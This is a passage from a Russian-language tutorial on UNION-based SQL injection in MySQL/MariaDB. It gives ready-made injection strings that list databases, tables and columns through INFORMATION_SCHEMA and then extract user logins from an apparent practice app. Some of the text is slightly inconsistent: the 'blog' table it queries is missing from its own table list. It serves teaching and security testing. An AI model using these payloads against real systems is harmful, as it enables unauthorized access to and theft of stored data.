    В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

    Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

    SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

    • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
    • SCHEMA_NAME - имя запрашиваемого столбца;
    • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
    • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

    Получение списка всех баз данных на сервере через SQL-инъекцию

    Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

    Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

    выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

    Для второй строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

    Для третьей строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

    Для четвёртой строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

    Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

    Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

    Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

    Желаемый запрос:

    SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

    Где вместо tablenamehere нужно подставлять имя таблицы.

    Например, нами получены следующий имена присутствующих в базе данных таблиц:

    • heroes
    • movies
    • users
    • visitors

    Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

    SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

    Применительно к нашей уязвимости получаем ввод:

    Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

    Здесь также можно применять LIMIT .

    Извлечение данных из таблицы с помощью SQL-инъекции

    Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

    Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

    Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

    Заключение по первой части

    В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.





    

    2024 © gtavrl.ru.